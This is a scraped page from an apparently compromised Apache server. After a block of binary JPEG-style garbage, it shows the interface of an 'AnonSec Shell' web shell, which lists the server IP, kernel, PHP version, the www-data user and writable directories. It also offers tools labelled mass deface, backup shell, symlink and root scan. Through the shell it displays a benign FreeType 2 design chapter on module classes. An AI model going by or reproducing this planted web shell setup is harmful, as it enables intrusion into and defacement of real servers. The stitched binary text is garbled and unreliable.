JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/23604/root/usr/share/doc/libfreetype6/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/23604/root/usr/share/doc/libfreetype6/design/design-5.html
<!doctype html public "-//w3c//dtd html 4.0 transitional//en"
          "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<head>
  <meta http-equiv="Content-Type"
        content="text/html; charset=iso-8859-1">
  <meta name="Author"
        content="David Turner">
  <title>The design of FreeType 2</title>
</head>

<body text="#000000"
      bgcolor="#FFFFFF"
      link="#0000EF"
      vlink="#51188E"
      alink="#FF0000">

<h1 align=center>
  The design of FreeType&nbsp;2
</h1>

<h3 align=center>
  Copyright&nbsp;1998-2000 David Turner (<a
  href="mailto:david@freetype.org">david@freetype.org</a>)<br>
  Copyright&nbsp;2000, 2007 The FreeType Development Team (<a
  href="mailto:devel@freetype.org">devel@freetype.org</a>)
</h3>

<center>
<table width="65%">
<tr><td>

  <center>
  <table width="100%"
         border=0
         cellpadding=5>
  <tr bgcolor="#CCFFCC"
      valign=center>
    <td align=center
        width="30%">
      <a href="design-4.html">Previous</a>
    </td>
    <td align=center
        width="30%">
      <a href="index.html">Contents</a>
    </td>
    <td align=center
        width="30%">
      <a href="design-6.html">Next</a>
    </td>
  </tr>
  </table>
  </center>

  <p><hr></p>

  <table width="100%">
  <tr bgcolor="#ccccee"><td>
    <h1>
      IV. Module Classes
    </h1>
  </td></tr>
  </table>

  <p>We will now try to explain more precisely the <em>types</em> of modules
  that FreeType&nbsp;2 is capable of managing.  Note that each one of them
  is described with more details in the following chapters of this
  document.</p>

  <ul>
    <li>
      <p><em>Renderer</em> modules are used to manage scalable glyph images.
      This means <em>transforming</em> them, computing their <em>bounding
      box</em>, and <em>converting</em> them to either <em>monochrome</em>
      or <em>anti-aliased</em> bitmaps</em>.</p>

      <p>Note that FreeType&nbsp;2 is capable of dealing with <em>any</em>
      kind of glyph images, as long as a renderer module is provided for it.
      The library comes by default with two renderers:</p>

      <p><table cellpadding=8>
      <tr valign=top>
        <td>
          <tt>raster</tt>
        </td>
        <td>
          <p>Supports the conversion of vectorial outlines (described by a
          <tt>FT_Outline</tt> object) to <em>monochrome</em> bitmaps.
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>smooth</tt>
        </td>
        <td>
          <p>Supports the conversion of the same outlines to high-quality
          <em>anti-aliased</em> pixmaps (using 256 levels of gray).  Note
          that this renderer also supports direct span generation.</p>
        </td>
      </tr>
      </table></p>

    <li>
      <p><em>Font driver</em> modules are used to support one or more
      specific font format.  By default, FreeType&nbsp;2 comes with the
      following font drivers:</p>

      <p><table cellpadding=8>
      <tr valign=top>
        <td>
          <tt>truetype</tt>
        </td>
        <td>
          <p>supports TrueType font files</p>
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>type1</tt>
        </td>
        <td>
          <p>supports Postscript Type&nbsp;1 fonts, both in binary
          (<tt>.pfb</tt>) or ASCII (<tt>.pfa</tt>) formats, including
          Multiple Master fonts.</p>
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>cid</tt>
        </td>
        <td>
          <p>supports Postscript CID-keyed fonts</p>
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>cff</tt>
        </td>
        <td>
          <p>supports OpenType, CFF as well as CEF fonts (CEF is a
          derivative of CFF used by Adobe in its SVG viewer)</p>
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>winfonts</tt>
        </td>
        <td>
          <p>supports Windows bitmap fonts (i.e. <tt>.fon</tt> and
          <tt>.fnt</tt>)</p>
        </td>
      </tr>
      </table></p>

      <p>Note that font drivers can support bitmapped or scalable glyph
      images.  A given font driver that supports B&eacute;zier outlines
      through <tt>FT_Outline</tt> can also provide its own hinter, or rely
      on FreeType's <tt>autohinter</tt> module.</p>
    </li>

    <li>
      <p><em>Helper</em> modules are used to hold shared code that is often
      used by several font drivers, or even other modules.  Here are the
      default helpers:</p>

      <p><table cellpadding=8>
      <tr valign=top>
        <td>
          <tt>sfnt</tt>
        </td>
        <td>
          used to support font formats based on the <tt>SFNT</tt> storage
          scheme: TrueType & OpenType fonts as well as other variants (like
          TrueType fonts that only contain embedded bitmaps)
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>psnames</tt>
        </td>
        <td>
          used to provide various useful functions related to glyph names
          ordering and Postscript encodings/charsets.  For example, this
          module is capable of automatically synthetizing a Unicode charmap
          from a Type&nbsp;1 glyph name dictionary.
        </td>
      </tr>
      <tr valign=top>
        <td>
          <tt>psaux</tt>
        </td>
        <td>
          used to provide various useful functions related to Type&nbsp;1
          charstring decoding, as this "feature" is needed by the
          <tt>type1</tt>, <tt>cid</tt>, and <tt>cff</tt> drivers.
        </td>
      </tr>
      </table></p>
    </li>

    <li>
      <p>Finally, the <em>autohinter</em> module has a specific role in
      FreeType&nbsp;2, as it can be used automatically during glyph loading
      to process individual glyph outlines when a font driver doesn't
      provide its own hinting engine.</p>

      <p>This module's purpose and design is also heavily described on the
      FreeType web site.</p>
    </li>
  </ul>

  <p>We will now study how modules are described, then managed by the
  library.</p>

    <h3>
      1. The <tt>FT_Module_Class</tt> structure
    </h3>

    <p>As described later in this document, library initialization is
    performed by calling the <tt>FT_Init_FreeType()</tt> function.  The
    latter is in charge of creating a new "empty" <tt>FT_Library</tt>
    object, then register each "default" module by repeatedly calling the
    <tt>FT_Add_Module()</tt> function.</p>

    <p>Similarly, client applications can call <tt>FT_Add_Module()</tt> any
    time they wish in order to register a new module in the library.  Let us
    take a look at this function's declaration:</p>

    <font color="blue"><pre>
    extern FT_Error  FT_Add_Module(
                       FT_Library              library,
                       const FT_Module_Class*  clazz );</pre>
    </font>

    <p>As one can see, this function expects a handle to a library object,
    as well as a pointer to a <tt>FT_Module_Class</tt> structure.  It
    returns an error code.  In case of success, a new module object is
    created and added to the library.  Note by the way that the module isn't
    returned directly by the call!</p>

    <p>Here the definition of <tt>FT_Module_Class</tt>, with some
    explanation.  The following code is taken from
    <tt>&lt;freetype/ftmodule.h&gt;</tt>:</p>

    <font color="blue"><pre>
    typedef struct  FT_Module_Class_
    {
      FT_ULong               module_flags;
      FT_Int                 module_size;
      const FT_String*       module_name;
      FT_Fixed               module_version;
      FT_Fixed               module_requires;

      const void*            module_interface;

      FT_Module_Constructor  module_init;
      FT_Module_Destructor   module_done;
      FT_Module_Requester    get_interface;

    } FT_Module_Class;</pre>
    </font>

    <p>A description of its fields:</p>

    <p><table cellpadding=8>
    <tr valign=top>
      <td>
        <tt>module_flags</tt>
      </td>
      <td>
        <p>A set of bit flags used to describe the module's category.  Valid
        values are:</p>

        <ul>
          <li>
            <tt>ft_module_font_driver</tt> if the module is a font driver
          </li>
          <li>
            <tt>ft_module_renderer</tt> if the module is a renderer
          </li>
          <li>
            <tt>ft_module_hinter</tt> if the module is an auto-hinter
          </li>
          <li>
            <tt>ft_module_driver_scalable</tt> if the module is a font
            driver supporting scalable glyph formats
          </li>
          <li>
            <tt>ft_module_driver_no_outlines</tt> if the module is a font
            driver supporting scalable glyph formats that <em>cannot</em> be
            described by an <tt>FT_Outline</tt> object
          </li>
          <li>
            <tt>ft_module_driver_has_hinter</tt> if the module is a font
            driver that provides its own hinting scheme/algorithm
          </li>
        </ul>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_size</tt>
      </td>
      <td>
        <p>An integer that gives the size in <em>bytes</em> of a given
        module object.  This should <em>never</em> be less than
        <tt>sizeof(FT_ModuleRec)</tt>, but can be more if the module needs
        to sub-class the base <tt>FT_ModuleRec</tt> class.</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_name</tt>
      </td>
      <td>
        <p>The module's internal name, coded as a simple ASCII
        C&nbsp;string.  There can't be two modules with the same name
        registered in a given <tt>FT_Library</tt> object.  However,
        <tt>FT_Add_Module()</tt> uses the <tt>module_version</tt> field to
        detect module upgrades and perform them cleanly, even at
        run-time.</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_version</tt>
      </td>
      <td>
        <p>A 16.16 fixed-point number giving the module's major and minor
        version numbers.  It is used to determine whether a module needs to
        be upgraded when calling <tt>FT_Add_Module()</tt>.</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_requires</tt>
      </td>
      <td>
        <p>A 16.16 fixed-point number giving the version of FreeType&nbsp;2
        that is required to install this module.  The default value is
        0x20000 for FreeType version&nbsp; 2.0</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_interface</tt>
      </td>
      <td>
        <p>Most modules support one or more "interfaces", i.e. tables of
        function pointers.  This field is used to point to the module's main
        interface, if there is one.  It is a short-cut that prevents users
        of the module to call "get_interface()" each time they need to
        access one of the object's common entry points.</p>

        <p>Note that is is optional, and can be set to NULL.  Other
        interfaces can also be accessed through the <tt>get_interface()</tt>
        field.</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_init</tt>
      </td>
      <td>
        <p>A pointer to a function used to initialize the fields of a fresh
        new <tt>FT_Module</tt> object.  It is called <em>after</em> the
        module's base fields have been set by the library, and is generally
        used to initialize the fields of <tt>FT_ModuleRec</tt>
        subclasses.</p>

        <p>Most module classes set it to NULL to indicate that no extra
        initialization is necessary.</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>module_done</tt>
      </td>
      <td>
        <p>A pointer to a function used to finalize the fields of a given
        <tt>FT_Module</tt> object.  Note that it is called <em>before</em>
        the library unsets the module's base fields, and is generally used
        to finalize the fields of <tt>FT_ModuleRec</tt> subclasses.</p>

        <p>Most module classes set it to NULL to indicate that no extra
        finalization is necessary</p>
      </td>
    </tr>
    <tr valign=top>
      <td>
        <tt>get_interface</tt>
      </td>
      <td>
        <p>A pointer to a function used to request the address of a given
        module interface.  Set it to NULL if you don't need to support
        additional interfaces but the main one.</p>
      </td>
    </tr>
    </table></p>


    <h3>
      2. The <tt>FT_Module</tt> type
    </h3>

    <p>The <tt>FT_Module</tt> type is a handle (i.e. a pointer) to a given
    module object/instance, whose base structure is given by the internal
    <tt>FT_ModuleRec</tt> type.  We will intentionally <em>not</em> describe
    this structure here, as there is no point to look so far into the
    library's design.</p>

    <p>When <tt>FT_Add_Module</tt> is called, it first allocates a new
    module instance, using the <tt>module_size</tt> class field to determine
    its byte size.  The function initializes the root <tt>FT_ModuleRec</tt>
    field, then calls the class-specific initializer <tt>module_init</tt>
    when this field is not set to NULL.</p>

    <p>Note that the library defines several sub-classes of
    <tt>FT_ModuleRec</tt>, which are, as you could have guessed:</p>

    <ul>
      <li><p><tt>FT_Renderer</tt> for renderer modules</p>
      <li><p><tt>FT_Driver</tt> for font driver modules</p>
      <li><p><tt>FT_AutoHinter</tt> for the auto-hinter</p>
    </ul>

    <p>Helper modules use the base <tt>FT_ModuleRec</tt> type.  We will
    describe these classes in the next chapters.</p>

  <p><hr></p>

  <center>
  <table width="100%"
         border=0
         cellpadding=5>
  <tr bgcolor="#CCFFCC" valign=center>
    <td align=center
        width="30%">
      <a href="design-4.html">Previous</a>
    </td>
    <td align=center
        width="30%">
      <a href="index.html">Contents</a>
    </td>
    <td align=center
        width="30%">
      <a href="design-6.html">Next</a>
    </td>
  </tr>
  </table>
  </center>

</td></tr>
</table>
</center>

</body>
</html>

Anon7 - 2022
AnonSec Team